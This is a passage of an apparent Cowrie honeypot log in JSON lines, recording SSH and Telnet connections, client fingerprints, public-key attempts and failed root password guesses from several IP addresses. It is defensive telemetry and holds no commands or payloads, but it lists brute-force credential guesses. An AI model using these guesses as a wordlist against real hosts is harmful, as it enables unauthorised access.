{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:47.208730Z","src_ip":"103.82.132.16","session":"1ac62c0b00bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.620367765426636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:47.544593Z","src_ip":"192.119.13.58","session":"7914044e9e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:48.038562Z","src_ip":"103.24.63.85","session":"1784757da289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:48.475085Z","src_ip":"103.82.132.16","session":"1ac62c0b00bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.47.4.5","src_port":39690,"dst_ip":"10.17.0.5","dst_port":22,"session":"5efab3c846e5","protocol":"ssh","message":"New connection: 78.47.4.5:39690 (10.17.0.5:22) [session: 5efab3c846e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:51.770752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:51.778327Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:51.880998Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:e3:e3:c3:3b:2f:b1:42:b8:72:a5:f4:8a:48:64:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAucSfEbbxUTAM4eUCbuPzddcutq2hmJEppwbT/UHBWM0zjk+TgrbF3sf40yyev6EkPmI0KmSTusrA48ugLT5DZXkUQnfxrtMmFAMpmBPFrFGLV/9tfwBbEt/wM3tI39y1w7/2DPcyVMMLfGi2IZhGNlRvAF/e1YUJl5CCqyNjDXZFgBz5UUMtT7wQUS8V7sVSwCPA/5hWJ6IrkjmYcPkgVxf37F6M04Bx24kD3Nfu+I04M3K7Txh3FPrjW1EOug2S2wdwbd4q3Np/Tv0NlkCtLzDtgFyEph6GK1f91qqLv4IeAL0AMbvEaulSEzqVM4Kd2+yxyLAhy1EQ0N9NfboDzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:e3:e3:c3:3b:2f:b1:42:b8:72:a5:f4:8a:48:64:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.347302Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:e3:e3:c3:3b:2f:b1:42:b8:72:a5:f4:8a:48:64:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAucSfEbbxUTAM4eUCbuPzddcutq2hmJEppwbT/UHBWM0zjk+TgrbF3sf40yyev6EkPmI0KmSTusrA48ugLT5DZXkUQnfxrtMmFAMpmBPFrFGLV/9tfwBbEt/wM3tI39y1w7/2DPcyVMMLfGi2IZhGNlRvAF/e1YUJl5CCqyNjDXZFgBz5UUMtT7wQUS8V7sVSwCPA/5hWJ6IrkjmYcPkgVxf37F6M04Bx24kD3Nfu+I04M3K7Txh3FPrjW1EOug2S2wdwbd4q3Np/Tv0NlkCtLzDtgFyEph6GK1f91qqLv4IeAL0AMbvEaulSEzqVM4Kd2+yxyLAhy1EQ0N9NfboDzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.351510Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:2d:3b:b1:b7:08:39:79:3c:98:55:58:04:26:fa:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9arofzKEE3YesNFPhWGLnmWdLpDGCLbRSdQOvejg8qgFOr3u0chDcRT3cj6f0s8xv0PZnh7KAUTvUIw4eVFGWBWoKhF+DA8+KZZjBvX1UvbT84tsmv/SiE7valtRVYmFb29QSL+MpMUTjue76FhRdvigHz8rmvDZZ/uWvBP7MdMX91GJcGZYGrkEKPs53TQxhheNqNHL5ZW9CdHGSERBSbNJRm7Zs0tj2yQwmiDPBYzCVfEQMJ8Qp29IYbHlRHW3eNz0OS6ytVTEpTrkKqSqI6r3Hv5iKY2lFL47+GJ+8BAH41X0VTgzPtnUt8sEi9/yVv+4CoRu/bKBaj1moEx2H+64pbu5nllFuHBIf6RVfVaaOqcVGSfM3sGNP4cZOUrm+UqQoJwR7Evsq8w8sT8IV767JdO1nxRUGWUo4Bv4lMICOBkzzKMhmpRAHoCJQNw52nFFhjtJQA0wYcJCFiDA3tQxGWeVd46GYxeip6OzqeyOKKLN7bEskR6ZtJGvKDWrfx3DZr25mo14G86fD62bym8hcsXa3NSg1TTw9L8gDyuWTs5M1ww1Q/t6hsO0BtV0rVAEN+/YvP/t41uR7bP7v9j5/qoWyDyHbATw8C8PmGV0AZRQQh13cP0wuA3DOlB1aw+5YWddVKYHHpPuiFuAT8WyCaTn4fvdfITeqQ8kNaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:2d:3b:b1:b7:08:39:79:3c:98:55:58:04:26:fa:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.445810Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:2d:3b:b1:b7:08:39:79:3c:98:55:58:04:26:fa:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9arofzKEE3YesNFPhWGLnmWdLpDGCLbRSdQOvejg8qgFOr3u0chDcRT3cj6f0s8xv0PZnh7KAUTvUIw4eVFGWBWoKhF+DA8+KZZjBvX1UvbT84tsmv/SiE7valtRVYmFb29QSL+MpMUTjue76FhRdvigHz8rmvDZZ/uWvBP7MdMX91GJcGZYGrkEKPs53TQxhheNqNHL5ZW9CdHGSERBSbNJRm7Zs0tj2yQwmiDPBYzCVfEQMJ8Qp29IYbHlRHW3eNz0OS6ytVTEpTrkKqSqI6r3Hv5iKY2lFL47+GJ+8BAH41X0VTgzPtnUt8sEi9/yVv+4CoRu/bKBaj1moEx2H+64pbu5nllFuHBIf6RVfVaaOqcVGSfM3sGNP4cZOUrm+UqQoJwR7Evsq8w8sT8IV767JdO1nxRUGWUo4Bv4lMICOBkzzKMhmpRAHoCJQNw52nFFhjtJQA0wYcJCFiDA3tQxGWeVd46GYxeip6OzqeyOKKLN7bEskR6ZtJGvKDWrfx3DZr25mo14G86fD62bym8hcsXa3NSg1TTw9L8gDyuWTs5M1ww1Q/t6hsO0BtV0rVAEN+/YvP/t41uR7bP7v9j5/qoWyDyHbATw8C8PmGV0AZRQQh13cP0wuA3DOlB1aw+5YWddVKYHHpPuiFuAT8WyCaTn4fvdfITeqQ8kNaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.449889Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:44:ca:2a:41:e6:21:b7:50:20:01:70:35:6e:41:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCakfY7+qe2KwgxF+Y44PmiGAlaxAWwlQQ8YjpYqwbllQZ/f3+HWATCXM24QnzygCxTphZAkduFJy780MXS+B9Pq76XARtGiKhJId52whD00xMtIeXHP6HCggLDluMhTXs55bTmaOvb56HVHZ6Rh0Qpyqtak1gu1J7jIxqrpaK9amFdbIw4mLojTFCFeE0BGjtlmxDkVEgDgedUkZoW2qkZmgrmUMAZnzFZFhk+EWSptS1bQ9CZa3Dc/8638VRTtKoPHlagA1L6rwE6IqWcnJQX3okpJqzgXMjSwwQAm4nX3Ijwsp8kpEMaDHK1elLDvVYAWLoGwLut3c8YVyt0RPwUh55nB9/6FJ+xxcOGzUrUSsM5P7KWPeDRpoIO802u3UMa+z7i3BAwEhU5y0wHuW7NNP0fFV4HVis2J6+onbX7UWU+i10o1xduV+YVBgGFsVncFgNzKbWj/tcWUt/JZgPZC+f6ibLfTtA+AxJpldk5qVuU+mW4iVv+KdUCEuyHtStBzI5zLEL7Qihzw2LLy9M4f/JhD0cV6orWvc8GjNoiP0S5+7JL+CBi5tUQNP9LwHcThHHlzkwYhAIJpYjlxv3UVPns0Ifee8Noxs0VhG0uFw6Q1x74Nf+qAidXsy5PviM0xrDhj9n8AqGAOUsOJDZCRsjn5fvCfXQTidtEDaUfow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:44:ca:2a:41:e6:21:b7:50:20:01:70:35:6e:41:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.546495Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:44:ca:2a:41:e6:21:b7:50:20:01:70:35:6e:41:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCakfY7+qe2KwgxF+Y44PmiGAlaxAWwlQQ8YjpYqwbllQZ/f3+HWATCXM24QnzygCxTphZAkduFJy780MXS+B9Pq76XARtGiKhJId52whD00xMtIeXHP6HCggLDluMhTXs55bTmaOvb56HVHZ6Rh0Qpyqtak1gu1J7jIxqrpaK9amFdbIw4mLojTFCFeE0BGjtlmxDkVEgDgedUkZoW2qkZmgrmUMAZnzFZFhk+EWSptS1bQ9CZa3Dc/8638VRTtKoPHlagA1L6rwE6IqWcnJQX3okpJqzgXMjSwwQAm4nX3Ijwsp8kpEMaDHK1elLDvVYAWLoGwLut3c8YVyt0RPwUh55nB9/6FJ+xxcOGzUrUSsM5P7KWPeDRpoIO802u3UMa+z7i3BAwEhU5y0wHuW7NNP0fFV4HVis2J6+onbX7UWU+i10o1xduV+YVBgGFsVncFgNzKbWj/tcWUt/JZgPZC+f6ibLfTtA+AxJpldk5qVuU+mW4iVv+KdUCEuyHtStBzI5zLEL7Qihzw2LLy9M4f/JhD0cV6orWvc8GjNoiP0S5+7JL+CBi5tUQNP9LwHcThHHlzkwYhAIJpYjlxv3UVPns0Ifee8Noxs0VhG0uFw6Q1x74Nf+qAidXsy5PviM0xrDhj9n8AqGAOUsOJDZCRsjn5fvCfXQTidtEDaUfow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.550469Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:02:3f:37:3f:c6:16:ac:a5:0a:1f:14:8f:1d:10:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5O1nIFYC/6Dw91ECe7BA3WBWhcz8lhF+7Wum80emdM9Z6/i5XtyGD3wTsdGRrOPDFlg0/s0Zf6LASCee20IcwKue9AS+FW1+y9v1l+BguucHFYOL846bObVjm12t4luhnOQHZTLLyvbDaY+WCOrU/TSNNnvVC1qXK3W1exeOu+ecbaGpyQsLfP6wIffEVvBnnZmEJwBRsv7AykPn1IwZaLeNzOCSSF7K6Jm0tgNMhEnFV/13bERoI81voxdFdeedVU77jhshDGCQKYCfBy39V0/eQGFMs2DdKJxA7P9+Pc1bo41cjypP9qsowRXAme1zv60JoJ9IhRK6WJZuiB2x48mbelYNjNJQvWbBYrcp306aH3Hy9IZ/XzkXEughF+AyTarZOljhp66R5ZrFqMFLNDl+Q1995GzhaKMF+ec3JZvKyAR/kNlNs2FUHNcqbC21usSMToRZuJFtz71/y1m9foeceGzpAUyZFe8O0lHDZifGWspWg5yUv8fqN1MR1b62flg3JVRdzJAaquG6kFETWvIrRZMzprP1kMPb4zjklicxHHNMy4ZXw6NGeLB+dQuyGyHNN1KaQpgOYHUQWeO7nRPVlHBV+ND93EVhrVfwradXAaykvPwULupehbpz4JT87rehI9byMDC2htPBAuvC0sH0UWZjSujHMDUcfHGt37Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:02:3f:37:3f:c6:16:ac:a5:0a:1f:14:8f:1d:10:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.643089Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:02:3f:37:3f:c6:16:ac:a5:0a:1f:14:8f:1d:10:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5O1nIFYC/6Dw91ECe7BA3WBWhcz8lhF+7Wum80emdM9Z6/i5XtyGD3wTsdGRrOPDFlg0/s0Zf6LASCee20IcwKue9AS+FW1+y9v1l+BguucHFYOL846bObVjm12t4luhnOQHZTLLyvbDaY+WCOrU/TSNNnvVC1qXK3W1exeOu+ecbaGpyQsLfP6wIffEVvBnnZmEJwBRsv7AykPn1IwZaLeNzOCSSF7K6Jm0tgNMhEnFV/13bERoI81voxdFdeedVU77jhshDGCQKYCfBy39V0/eQGFMs2DdKJxA7P9+Pc1bo41cjypP9qsowRXAme1zv60JoJ9IhRK6WJZuiB2x48mbelYNjNJQvWbBYrcp306aH3Hy9IZ/XzkXEughF+AyTarZOljhp66R5ZrFqMFLNDl+Q1995GzhaKMF+ec3JZvKyAR/kNlNs2FUHNcqbC21usSMToRZuJFtz71/y1m9foeceGzpAUyZFe8O0lHDZifGWspWg5yUv8fqN1MR1b62flg3JVRdzJAaquG6kFETWvIrRZMzprP1kMPb4zjklicxHHNMy4ZXw6NGeLB+dQuyGyHNN1KaQpgOYHUQWeO7nRPVlHBV+ND93EVhrVfwradXAaykvPwULupehbpz4JT87rehI9byMDC2htPBAuvC0sH0UWZjSujHMDUcfHGt37Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.647337Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00d6ecc6a33","protocol":"telnet","message":"New connection: 192.119.13.58:34916 (10.17.0.5:23) [session: e00d6ecc6a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.658561Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:86:d4:13:ce:e7:fc:5b:ed:69:56:4e:1b:98:22:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmNnd2XHSNVOFk185ugU4HvR3MACKY8O+YD+PHp5J80gDi1qW/Kg0/38fjXH2KJLkixKQ7xDUmZLe6d2H8nCTy/sEvtpvpyfTKASvWlGuEF0CSDLUvE8McXPvjV5hE/kPoE+ZYeURqjXxRO2PB8zX+xDha/UG+gUUQaRH3SGNBd0LLO+APG2X0zT99pLNbWhyPSqT0LEDVvb1hZx+P4AtigqB0/PDcBymRlolw7rRiJkwzYZoekZ9rXS0EgYy68zwFhAxf/6Az7h6tZuaX0RIZFsiR7GCZT1uuyxQUpgk7NwXUQpli8ho0WCZb5zLuvAndyY86LzAdneGdjt6Bxe9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:86:d4:13:ce:e7:fc:5b:ed:69:56:4e:1b:98:22:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.742203Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:86:d4:13:ce:e7:fc:5b:ed:69:56:4e:1b:98:22:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMmNnd2XHSNVOFk185ugU4HvR3MACKY8O+YD+PHp5J80gDi1qW/Kg0/38fjXH2KJLkixKQ7xDUmZLe6d2H8nCTy/sEvtpvpyfTKASvWlGuEF0CSDLUvE8McXPvjV5hE/kPoE+ZYeURqjXxRO2PB8zX+xDha/UG+gUUQaRH3SGNBd0LLO+APG2X0zT99pLNbWhyPSqT0LEDVvb1hZx+P4AtigqB0/PDcBymRlolw7rRiJkwzYZoekZ9rXS0EgYy68zwFhAxf/6Az7h6tZuaX0RIZFsiR7GCZT1uuyxQUpgk7NwXUQpli8ho0WCZb5zLuvAndyY86LzAdneGdjt6Bxe9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.746428Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:52.843171Z","src_ip":"78.47.4.5","session":"5efab3c846e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34205961227417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:15.126804Z","src_ip":"192.119.13.58","session":"894f87a15d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44914,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f5f835d382d","protocol":"telnet","message":"New connection: 192.119.13.58:44914 (10.17.0.5:23) [session: 0f5f835d382d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:16.520389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56506,"dst_ip":"10.17.0.5","dst_port":23,"session":"446ace0cd606","protocol":"telnet","message":"New connection: 192.119.13.58:56506 (10.17.0.5:23) [session: 446ace0cd606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:26.592409Z"}
{"eventid":"cowrie.session.closed","duration":53.102508544921875,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:31.065776Z","src_ip":"192.119.13.58","session":"fde2ce22a6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.232489824295044,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:38.890940Z","src_ip":"192.119.13.58","session":"e00d6ecc6a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"30eb65e6ac38","protocol":"telnet","message":"New connection: 192.119.13.58:45020 (10.17.0.5:23) [session: 30eb65e6ac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:46.098978Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":41418,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba876874099a","protocol":"ssh","message":"New connection: 89.223.127.55:41418 (159.203.135.109:22) [session: ba876874099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:52.504097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:52.509636Z","src_ip":"89.223.127.55","session":"ba876874099a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:52.626377Z","src_ip":"89.223.127.55","session":"ba876874099a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xsw2zaq1","message":"login attempt [root/xsw2zaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:52.976713Z","src_ip":"89.223.127.55","session":"ba876874099a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:54.096063Z","src_ip":"89.223.127.55","session":"ba876874099a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":45694,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2c662dcbc51","protocol":"ssh","message":"New connection: 103.24.63.85:45694 (159.203.135.109:22) [session: b2c662dcbc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:54.873119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:19:54.885838Z","src_ip":"103.24.63.85","session":"b2c662dcbc51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 